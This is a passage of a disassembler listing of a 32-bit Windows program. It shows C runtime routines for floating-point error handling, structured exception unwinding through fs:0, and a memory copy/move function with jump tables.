fld [ebp+arg_0]
push ecx
push ecx
fstp [esp+24h+var_24]
push 0Bh
push 8
jmp short loc_40B89D
; ---------------------------------------------------------------------------
loc_40B860: ; CODE XREF: sub_40B7DA+2Fj
call sub_4104D9
fstp [ebp+var_8]
fld [ebp+var_8]
fcomp [ebp+arg_0]
pop ecx
pop ecx
fnstsw ax
sahf
jnz short loc_40B883
loc_40B875: ; CODE XREF: sub_40B7DA+ACj
push esi
push ebx
call sub_41064C
fld [ebp+var_8]
pop ecx
pop ecx
jmp short loc_40B8A5
; ---------------------------------------------------------------------------
loc_40B883: ; CODE XREF: sub_40B7DA+99j
test bl, 20h
jnz short loc_40B875
fld [ebp+var_8]
push ebx ; int
push ecx
push ecx ; double
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx ; double
fstp [esp+24h+var_24]
push 0Bh ; int
push 10h ; int
loc_40B89D: ; CODE XREF: sub_40B7DA+84j
call sub_40FE77
add esp, 1Ch
loc_40B8A5: ; CODE XREF: sub_40B7DA+59j
; sub_40B7DA+67j ...
pop esi
pop ebx
leave
retn
sub_40B7DA endp
; =============== S U B R O U T I N E =======================================
sub_40B8A9 proc near ; CODE XREF: sub_40D118+9p
; sub_410715+21p
; DATA XREF: ...
call sub_40B8C1
call sub_410715
mov dword_47F8F0, eax
call sub_4106C5
fnclex
retn
sub_40B8A9 endp
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_40B8C1 proc near ; CODE XREF: sub_40B8A9p
mov eax, offset sub_410B03
mov off_41FD54, offset sub_410798
mov off_41FD50, eax
mov off_41FD58, offset sub_4107FE
mov off_41FD5C, offset sub_41073E
mov off_41FD60, offset sub_4107E6
mov off_41FD64, eax
retn
sub_40B8C1 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B8FC proc near ; CODE XREF: sub_402112+1Bp
; sub_402112+44p ...
var_C = qword ptr -0Ch
var_4 = word ptr -4
var_2 = word ptr -2
push ebp
mov ebp, esp
add esp, 0FFFFFFF4h
fstcw [ebp+var_2]
wait
mov ax, [ebp+var_2]
or ah, 0Ch
mov [ebp+var_4], ax
fldcw [ebp+var_4]
fistp [ebp+var_C]
fldcw [ebp+var_2]
mov eax, dword ptr [ebp+var_C]
mov edx, dword ptr [ebp+var_C+4]
leave
retn
sub_40B8FC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40B923(double)
sub_40B923 proc near ; CODE XREF: sub_40215E+83p
var_24 = qword ptr -24h
var_18 = qword ptr -18h
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, 0FFFFh
push esi
push dword_41DBD8
call sub_41064C
fld [ebp+arg_0]
pop ecx
mov ebx, eax
mov eax, dword ptr [ebp+arg_0+6]
pop ecx
push ecx
and ax, 7FF0h
push ecx
cmp ax, 7FF0h
fstp [esp+18h+var_18]
jnz short loc_40B9A9
call sub_410514
pop ecx
test eax, eax
pop ecx
jle short loc_40B98C
cmp eax, 2
jle short loc_40B97E
cmp eax, 3
jnz short loc_40B98C
fld [ebp+arg_0]
push ebx
push ecx ; int
push ecx
fstp qword ptr [esp]
push 0Ch ; double
call sub_40FE24
add esp, 10h
jmp short loc_40B9EE
; ---------------------------------------------------------------------------
loc_40B97E: ; CODE XREF: sub_40B923+3Fj
push esi
push ebx
call sub_41064C
fld [ebp+arg_0]
pop ecx
pop ecx
jmp short loc_40B9EE
; ---------------------------------------------------------------------------
loc_40B98C: ; CODE XREF: sub_40B923+3Aj
; sub_40B923+44j
fld [ebp+arg_0]
fadd dbl_417630
push ebx
push ecx ; double
push ecx
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx
fstp [esp+24h+var_24]
push 0Ch
push 8
jmp short loc_40B9E6
; ---------------------------------------------------------------------------
loc_40B9A9: ; CODE XREF: sub_40B923+2Fj
call sub_4104D9
fstp [ebp+var_8]
fld [ebp+var_8]
fcomp [ebp+arg_0]
pop ecx
pop ecx
fnstsw ax
sahf
jnz short loc_40B9CC
loc_40B9BE: ; CODE XREF: sub_40B923+ACj
push esi
push ebx
call sub_41064C
fld [ebp+var_8]
pop ecx
pop ecx
jmp short loc_40B9EE
; ---------------------------------------------------------------------------
loc_40B9CC: ; CODE XREF: sub_40B923+99j
test bl, 20h
jnz short loc_40B9BE
fld [ebp+var_8]
push ebx ; int
push ecx
push ecx ; double
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx ; double
fstp [esp+24h+var_24]
push 0Ch ; int
push 10h ; int
loc_40B9E6: ; CODE XREF: sub_40B923+84j
call sub_40FE77
add esp, 1Ch
loc_40B9EE: ; CODE XREF: sub_40B923+59j
; sub_40B923+67j ...
pop esi
pop ebx
leave
retn
sub_40B923 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B9F2 proc near ; CODE XREF: sub_410F74+71p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov eax, [ebp+arg_4]
add eax, 0Ch
mov [ebp+var_4], eax
mov ebx, large fs:0
mov eax, [ebx]
mov large fs:0, eax
mov eax, [ebp+arg_0]
mov ebx, [ebp+arg_4]
mov esp, [ebx-4]
mov ebp, [ebp+var_4]
jmp eax
sub_40B9F2 endp
; ---------------------------------------------------------------------------
pop edi
pop esi
pop ebx
leave
retn 8
; =============== S U B R O U T I N E =======================================
sub_40BA26 proc near ; CODE XREF: sub_411125+199p
; sub_4112E9+3Ep
arg_4 = dword ptr 8
pop eax
pop ecx
xchg eax, [esp-8+arg_4]
jmp eax
sub_40BA26 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40BA2D proc near ; CODE XREF: sub_411125+17Fp
arg_4 = dword ptr 8
pop eax
pop ecx
xchg eax, [esp-8+arg_4]
jmp eax
sub_40BA2D endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BA34 proc near ; CODE XREF: sub_40BBE6+5Cp
; sub_410F74:loc_410FA5p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov eax, large fs:0
mov [ebp+var_8], eax
mov [ebp+var_4], offset loc_40BA5C
push 0
push [ebp+arg_4]
push [ebp+var_4]
push [ebp+arg_0]
call sub_41643E ; RtlUnwind
loc_40BA5C: ; DATA XREF: sub_40BA34+11o
mov eax, [ebp+arg_4]
mov eax, [eax+4]
and al, 0FDh
mov ecx, [ebp+arg_4]
mov [ecx+4], eax
mov eax, large fs:0
mov ebx, [ebp+var_8]
mov [ebx], eax
mov large fs:0, ebx
pop edi
pop esi
pop ebx
leave
retn 8
sub_40BA34 endp
; ---------------------------------------------------------------------------
loc_40BA83: ; CODE XREF: .nsp0:0041659Cj
; .nsp0:004165B9j ...
push ebp
mov ebp, esp
sub esp, 4
push ebx
push esi
push edi
cld
mov [ebp-4], eax
xor eax, eax
push eax
push eax
push eax
push dword ptr [ebp-4]
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_410B79
add esp, 20h
mov [ebp+14h], eax
pop edi
pop esi
pop ebx
mov eax, [ebp+14h]
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BAB9 proc near ; CODE XREF: sub_410FEF+73p
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 14h
mov eax, [ebp+arg_4]
and [ebp+var_14], 0
mov ecx, [ebp+arg_0]
mov [ebp+var_C], eax
mov eax, [ebp+arg_C]
mov [ebp+var_10], offset sub_40BB0D
inc eax
mov [ebp+var_8], ecx
mov [ebp+var_4], eax
mov eax, large fs:0
mov [ebp+var_14], eax
lea eax, [ebp+var_14]
mov large fs:0, eax
push [ebp+arg_10]
push ecx
push [ebp+arg_8]
call sub_411380
mov ecx, eax
mov eax, [ebp+var_14]
mov large fs:0, eax
mov eax, ecx
leave
retn
sub_40BAB9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BB0D proc near ; DATA XREF: sub_40BAB9+16o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cld
mov eax, [ebp+arg_4]
push 0
push eax
push dword ptr [eax+10h]
push dword ptr [eax+8]
push 0
push [ebp+arg_8]
push dword ptr [eax+0Ch]
push [ebp+arg_0]
call sub_410B79
add esp, 20h
pop ebp
retn
sub_40BB0D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BB32 proc near ; CODE XREF: sub_410DBB+25p
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 34h
push ebx
push esi
push edi
and [ebp+var_28], 0
mov [ebp+var_24], offset sub_40BBE6
mov eax, [ebp+arg_10]
mov [ebp+var_20], eax
mov eax, [ebp+arg_4]
mov [ebp+var_1C], eax
mov eax, [ebp+arg_14]
mov [ebp+var_18], eax
mov eax, [ebp+arg_18]
mov [ebp+var_14], eax
and [ebp+var_10], 0
and [ebp+var_C], 0
and [ebp+var_8], 0
and [ebp+var_4], 0
mov [ebp+var_10], offset loc_40BBB8
mov [ebp+var_C], esp
mov [ebp+var_8], ebp
mov eax, large fs:0
mov [ebp+var_28], eax
lea eax, [ebp+var_28]
mov large fs:0, eax
mov [ebp+var_34], 1
mov eax, [ebp+arg_0]
mov [ebp+var_30], eax
mov eax, [ebp+arg_8]
mov [ebp+var_2C], eax
lea eax, [ebp+var_30]
push eax
mov eax, [ebp+arg_0]
push dword ptr [eax]
call dword_47F990
pop ecx
pop ecx
and [ebp+var_34], 0
loc_40BBB8: ; DATA XREF: sub_40BB32+3Co
cmp [ebp+var_4], 0
jz short loc_40BBD5
mov ebx, large fs:0
mov eax, [ebx]
mov ebx, [ebp+var_28]
mov [ebx], eax
mov large fs:0, ebx
jmp short loc_40BBDE
; ---------------------------------------------------------------------------
loc_40BBD5: ; CODE XREF: sub_40BB32+8Aj
mov eax, [ebp+var_28]
mov large fs:0, eax
loc_40BBDE: ; CODE XREF: sub_40BB32+A1j
mov eax, [ebp+var_34]
pop edi
pop esi
pop ebx
leave
retn
sub_40BB32 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BBE6 proc near ; DATA XREF: sub_40BB32+Do
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
push edi
cld
mov eax, [ebp+arg_0]
mov eax, [eax+4]
and eax, 66h
test eax, eax
jz short loc_40BC09
mov eax, [ebp+arg_4]
mov dword ptr [eax+24h], 1
push 1
pop eax
jmp short loc_40BC56
; ---------------------------------------------------------------------------
loc_40BC09: ; CODE XREF: sub_40BBE6+12j
push 1
mov eax, [ebp+arg_4]
push dword ptr [eax+14h]
mov eax, [ebp+arg_4]
push dword ptr [eax+10h]
mov eax, [ebp+arg_4]
push dword ptr [eax+8]
push 0
push [ebp+arg_8]
mov eax, [ebp+arg_4]
push dword ptr [eax+0Ch]
push [ebp+arg_0]
call sub_410B79
add esp, 20h
mov eax, [ebp+arg_4]
cmp dword ptr [eax+24h], 0
jnz short loc_40BC47
push [ebp+arg_0]
push [ebp+arg_4]
call sub_40BA34
loc_40BC47: ; CODE XREF: sub_40BBE6+54j
mov ebx, [ebp+arg_4]
mov esp, [ebx+1Ch]
mov ebp, [ebx+20h]
jmp dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
push 1
pop eax
loc_40BC56: ; CODE XREF: sub_40BBE6+21j
pop edi
pop esi
pop ebx
pop ebp
retn
sub_40BBE6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BC5B proc near ; CODE XREF: sub_410C14+C6p
; sub_410DBB+43p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
cmp [ebp+arg_4], 0
push edi
mov edi, [ebp+arg_0]
mov esi, [edi+0Ch]
mov ebx, [edi+10h]
mov eax, esi
mov [ebp+arg_0], esi
mov [ebp+var_4], eax
jl short loc_40BCB2
loc_40BC79: ; CODE XREF: sub_40BC5B+52j
cmp esi, 0FFFFFFFFh
jnz short loc_40BC83
call sub_411422
loc_40BC83: ; CODE XREF: sub_40BC5B+21j
mov ecx, [ebp+arg_8]
dec esi
lea eax, [esi+esi*4]
cmp [ebx+eax*4+4], ecx
lea eax, [ebx+eax*4]
jge short loc_40BC98
cmp ecx, [eax+8]
jle short loc_40BC9D
loc_40BC98: ; CODE XREF: sub_40BC5B+36j
cmp esi, 0FFFFFFFFh
jnz short loc_40BCA9
loc_40BC9D: ; CODE XREF: sub_40BC5B+3Bj
mov eax, [ebp+arg_0]
dec [ebp+arg_4]
mov [ebp+var_4], eax
mov [ebp+arg_0], esi
loc_40BCA9: ; CODE XREF: sub_40BC5B+40j
cmp [ebp+arg_4], 0
jge short loc_40BC79
mov eax, [ebp+var_4]
loc_40BCB2: ; CODE XREF: sub_40BC5B+1Cj
mov ecx, [ebp+arg_C]
inc esi
mov [ecx], esi
mov ecx, [ebp+arg_10]
mov [ecx], eax
cmp eax, [edi+0Ch]
ja short loc_40BCC6
cmp esi, eax
jbe short loc_40BCCB
loc_40BCC6: ; CODE XREF: sub_40BC5B+65j
call sub_411422
loc_40BCCB: ; CODE XREF: sub_40BC5B+69j
lea eax, [esi+esi*4]
pop edi
pop esi
lea eax, [ebx+eax*4]
pop ebx
leave
retn
sub_40BC5B endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BCD8 proc near ; CODE XREF: sub_412F2C+5Ap
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
push esi
push edi
push ebp
push 0
push 0
push offset loc_40BCF0
push [ebp+arg_0]
call sub_41643E ; RtlUnwind
loc_40BCF0: ; DATA XREF: sub_40BCD8+Bo
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_40BCD8 endp
; =============== S U B R O U T I N E =======================================
sub_40BCF8 proc near ; DATA XREF: sub_40BD1A+Ao
; sub_40BD82+9o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_C = dword ptr 10h
mov ecx, [esp+arg_0]
test dword ptr [ecx+4], 6
mov eax, 1
jz short locret_40BD19
mov eax, [esp+arg_4]
mov edx, [esp+arg_C]
mov [edx], eax
mov eax, 3
locret_40BD19: ; CODE XREF: sub_40BCF8+10j
retn
sub_40BCF8 endp
; =============== S U B R O U T I N E =======================================
sub_40BD1A proc near ; CODE XREF: sub_411095+Dp
; sub_412F2C+67p ...
var_14 = dword ptr -14h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
push edi
mov eax, [esp+0Ch+arg_0]
push eax
push 0FFFFFFFEh
push offset sub_40BCF8
push large dword ptr fs:0
mov large fs:0, esp
loc_40BD37: ; CODE XREF: sub_40BD1A:loc_40BD72j
mov eax, [esp+1Ch+arg_0]
mov ebx, [eax+8]
mov esi, [eax+0Ch]
cmp esi, 0FFFFFFFFh
jz short loc_40BD74
cmp esi, [esp+1Ch+arg_4]
jz short loc_40BD74
lea esi, [esi+esi*2]
mov ecx, [ebx+esi*4]
mov [esp+1Ch+var_14], ecx
mov [eax+0Ch], ecx
cmp dword ptr [ebx+esi*4+4], 0
jnz short loc_40BD72
push 101h
mov eax, [ebx+esi*4+8]
call sub_40BDAE
call dword ptr [ebx+esi*4+8]
loc_40BD72: ; CODE XREF: sub_40BD1A+44j
jmp short loc_40BD37
; ---------------------------------------------------------------------------
loc_40BD74: ; CODE XREF: sub_40BD1A+2Aj
; sub_40BD1A+30j
pop large dword ptr fs:0
add esp, 0Ch
pop edi
pop esi
pop ebx
retn
sub_40BD1A endp
; =============== S U B R O U T I N E =======================================
sub_40BD82 proc near ; CODE XREF: sub_4110B5+37p
xor eax, eax
mov ecx, large fs:0
cmp dword ptr [ecx+4], offset sub_40BCF8
jnz short locret_40BDA4
mov edx, [ecx+0Ch]
mov edx, [edx+0Ch]
cmp [ecx+8], edx
jnz short locret_40BDA4
mov eax, 1
locret_40BDA4: ; CODE XREF: sub_40BD82+10j
; sub_40BD82+1Bj
retn
sub_40BD82 endp
; =============== S U B R O U T I N E =======================================
sub_40BDA5 proc near ; CODE XREF: sub_411380+1Ep
; sub_411380+40p
push ebx
push ecx
mov ebx, offset dword_41DBDC
jmp short loc_40BDB8
sub_40BDA5 endp
; =============== S U B R O U T I N E =======================================
sub_40BDAE proc near ; CODE XREF: sub_40BD1A+4Fp
; sub_412F2C+78p
push ebx
push ecx
mov ebx, offset dword_41DBDC
mov ecx, [ebp+8]
loc_40BDB8: ; CODE XREF: sub_40BDA5+7j
mov [ebx+8], ecx
mov [ebx+4], eax
mov [ebx+0Ch], ebp
pop ecx
pop ebx
retn 4
sub_40BDAE endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40BDC8 proc near ; CODE XREF: sub_40215E+5p
; sub_4022FD+5p ...
push 0FFFFFFFFh
push eax
mov eax, large fs:0
push eax
mov eax, [esp+0Ch]
mov large fs:0, esp
mov [esp+0Ch], ebp
lea ebp, [esp+0Ch]
push eax
retn
sub_40BDC8 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BDE7 proc near ; CODE XREF: sub_4022FD+69p
; sub_4023B8+68p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = byte ptr 14h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
mov [ebp+var_18], eax
mov [ebp+var_20], eax
mov eax, [ebp+arg_4]
mov [ebp+var_14], 42h
mov [ebp+var_1C], eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_20]
push [ebp+arg_8]
push eax
call sub_40D768
add esp, 0Ch
dec [ebp+var_1C]
mov esi, eax
js short loc_40BE26
mov eax, [ebp+var_20]
and byte ptr [eax], 0
jmp short loc_40BE33
; ---------------------------------------------------------------------------
loc_40BE26: ; CODE XREF: sub_40BDE7+35j
lea eax, [ebp+var_20]
push eax
push 0
call sub_40D653
pop ecx
pop ecx
loc_40BE33: ; CODE XREF: sub_40BDE7+3Dj
mov eax, esi
pop esi
leave
retn
sub_40BDE7 endp
; =============== S U B R O U T I N E =======================================
sub_40BE38 proc near ; CODE XREF: sub_402790+22p
; .nsp0:00416215p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_40B771
pop ecx
retn
sub_40BE38 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BE50 proc near ; CODE XREF: sub_4027FD+3Ap
; sub_40EC83+2EFp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
mov esi, [ebp+arg_4]
mov ecx, [ebp+arg_8]
mov edi, [ebp+arg_0]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe short loc_40BE70
cmp edi, eax
jb loc_40BFE8
loc_40BE70: ; CODE XREF: sub_40BE50+16j
test edi, 3
jnz short loc_40BE8C
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_40BEAC
rep movsd
jmp off_40BF98[edx*4]
; ---------------------------------------------------------------------------
loc_40BE8C: ; CODE XREF: sub_40BE50+26j
mov eax, edi
mov edx, 3
sub ecx, 4
jb short loc_40BEA4
and eax, 3
add ecx, eax
jmp dword ptr loc_40BEAC+4[eax*4]
; ---------------------------------------------------------------------------
loc_40BEA4: ; CODE XREF: sub_40BE50+46j
jmp dword ptr loc_40BFA8[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_40BEAC: ; CODE XREF: sub_40BE50+31j
; sub_40BE50+8Ej ...
jmp off_40BF2C[ecx*4]
; ---------------------------------------------------------------------------
align 4
sar byte ptr [esi-4113FFC0h], 40h
add [eax], dl
mov edi, 0D1230040h
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
add esi, 3
add edi, 3
cmp ecx, 8
jb short loc_40BEAC
rep movsd
jmp off_40BF98[edx*4]
; ---------------------------------------------------------------------------
align 4
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
add esi, 2
add edi, 2
cmp ecx, 8
jb short loc_40BEAC
rep movsd
jmp off_40BF98[edx*4]
; ---------------------------------------------------------------------------
align 10h
and edx, ecx
mov al, [esi]
mov [edi], al
inc esi
shr ecx, 2
inc edi
cmp ecx, 8
jb short loc_40BEAC
rep movsd
jmp off_40BF98[edx*4]
; ---------------------------------------------------------------------------
align 4
off_40BF2C dd offset loc_40BF8F ; DATA XREF: sub_40BE50:loc_40BEACr
dd offset loc_40BF7C
dd offset loc_40BF74
dd offset loc_40BF6C
dd offset loc_40BF64
dd offset loc_40BF5C
dd offset loc_40BF54
dd offset loc_40BF4C
; ---------------------------------------------------------------------------
loc_40BF4C: ; CODE XREF: sub_40BE50:loc_40BEACj
; DATA XREF: sub_40BE50+F8o
mov eax, [esi+ecx*4-1Ch]
mov [edi+ecx*4-1Ch], eax
loc_40BF54: ; CODE XREF: sub_40BE50:loc_40BEACj
; DATA XREF: sub_40BE50+F4o
mov eax, [esi+ecx*4-18h]
mov [edi+ecx*4-18h], eax
loc_40BF5C: ; CODE XREF: sub_40BE50:loc_40BEACj
; DATA XREF: sub_40BE50+F0o
mov eax, [esi+ecx*4-14h]
mov [edi+ecx*4-14h], eax
loc_40BF64: ; CODE XREF: sub_40BE50:loc_40BEACj
; DATA XREF: sub_40BE50+ECo
mov eax, [esi+ecx*4-10h]
mov [edi+ecx*4-10h], eax
loc_40BF6C: ; CODE XREF: sub_40BE50:loc_40BEACj
; DATA XREF: sub_40BE50+E8o
mov eax, [esi+ecx*4-0Ch]
mov [edi+ecx*4-0Ch], eax
loc_40BF74: ; CODE XREF: sub_40BE50:loc_40BEACj
; DATA XREF: sub_40BE50+E4o
mov eax, [esi+ecx*4-8]
mov [edi+ecx*4-8], eax
loc_40BF7C: ; CODE XREF: sub_40BE50:loc_40BEACj
; DATA XREF: sub_40BE50+E0o
mov eax, [esi+ecx*4-4]
mov [edi+ecx*4-4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_40BF8F: ; CODE XREF: sub_40BE50:loc_40BEACj
; DATA XREF: sub_40BE50:off_40BF2Co
jmp off_40BF98[edx*4]
; ---------------------------------------------------------------------------
align 4
off_40BF98 dd offset loc_40BFA8 ; DATA XREF: sub_40BE50+35r
; sub_40BE50+92r ...
dd offset loc_40BFB0
dd offset loc_40BFBC
dd offset loc_40BFD0
; ---------------------------------------------------------------------------
loc_40BFA8: ; CODE XREF: sub_40BE50+35j
; sub_40BE50+92j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_40BFB0: ; CODE XREF: sub_40BE50+35j
; sub_40BE50+92j ...
mov al, [esi]
mov [edi], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_40BFBC: ; CODE XREF: sub_40BE50+35j
; sub_40BE50+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_40BFD0: ; CODE XREF: sub_40BE50+35j
; sub_40BE50+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_40BFE8: ; CODE XREF: sub_40BE50+1Aj
lea esi, [ecx+esi-4]
lea edi, [ecx+edi-4]
test edi, 3
jnz short loc_40C01C
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_40C010
std
rep movsd
cld
jmp off_40C130[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_40C010: ; CODE XREF: sub_40BE50+1B1j
; sub_40BE50+208j ...
neg ecx
jmp off_40C0E0[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_40C01C: ; CODE XREF: sub_40BE50+1A6j
mov eax, edi
mov edx, 3
cmp ecx, 4
jb short loc_40C034
and eax, 3
sub ecx, eax
jmp dword ptr loc_40C034+4[eax*4]
; ---------------------------------------------------------------------------
loc_40C034: ; CODE XREF: sub_40BE50+1D6j
; DATA XREF: sub_40BE50+1DDr
jmp off_40C130[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_40C048
dd offset loc_40C068
dd offset loc_40C090
; ---------------------------------------------------------------------------
loc_40C048: ; DATA XREF: sub_40BE50+1ECo
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
dec esi
shr ecx, 2
dec edi
cmp ecx, 8
jb short loc_40C010
std
rep movsd
cld
jmp off_40C130[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_40C068: ; DATA XREF: sub_40BE50+1F0o
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
sub esi, 2
sub edi, 2
cmp ecx, 8
jb short loc_40C010
std
rep movsd
cld
jmp off_40C130[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_40C090: ; DATA XREF: sub_40BE50+1F4o
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
sub esi, 3
sub edi, 3
cmp ecx, 8
jb loc_40C010
std
rep movsd
cld
jmp off_40C130[edx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_40C0E4
dd offset loc_40C0EC
dd offset loc_40C0F4
dd offset loc_40C0FC
dd offset loc_40C104
dd offset loc_40C10C
dd offset loc_40C114
off_40C0E0 dd offset loc_40C127 ; DATA XREF: sub_40BE50+1C2r
; ---------------------------------------------------------------------------
loc_40C0E4: ; DATA XREF: sub_40BE50+274o
mov eax, [esi+ecx*4+1Ch]
mov [edi+ecx*4+1Ch], eax
loc_40C0EC: ; DATA XREF: sub_40BE50+278o
mov eax, [esi+ecx*4+18h]
mov [edi+ecx*4+18h], eax
loc_40C0F4: ; DATA XREF: sub_40BE50+27Co
mov eax, [esi+ecx*4+14h]
mov [edi+ecx*4+14h], eax
loc_40C0FC: ; DATA XREF: sub_40BE50+280o
mov eax, [esi+ecx*4+10h]
mov [edi+ecx*4+10h], eax
loc_40C104: ; DATA XREF: sub_40BE50+284o
mov eax, [esi+ecx*4+0Ch]
mov [edi+ecx*4+0Ch], eax
loc_40C10C: ; DATA XREF: sub_40BE50+288o
mov eax, [esi+ecx*4+8]
mov [edi+ecx*4+8], eax
loc_40C114: ; DATA XREF: sub_40BE50+28Co
mov eax, [esi+ecx*4+4]
mov [edi+ecx*4+4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_40C127: ; CODE XREF: sub_40BE50+1C2j
; DATA XREF: sub_40BE50:off_40C0E0o
jmp off_40C130[edx*4]
; ---------------------------------------------------------------------------
align 10h
off_40C130 dd offset loc_40C140 ; DATA XREF: sub_40BE50+1B7r
; sub_40BE50:loc_40C034r ...
dd offset loc_40C148
dd offset loc_40C158
dd offset loc_40C16C
; ---------------------------------------------------------------------------
loc_40C140: ; CODE XREF: sub_40BE50+1B7j
; sub_40BE50:loc_40C034j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_40C148: ; CODE XREF: sub_40BE50+1B7j
; sub_40BE50:loc_40C034j ...
mov al, [esi+3]
mov [edi+3], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_40C158: ; CODE XREF: sub_40BE50+1B7j
; sub_40BE50:loc_40C034j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_40C16C: ; CODE XREF: sub_40BE50+1B7j
; sub_40BE50:loc_40C034j ...
mov al, [esi+3]
mov [edi+3], al
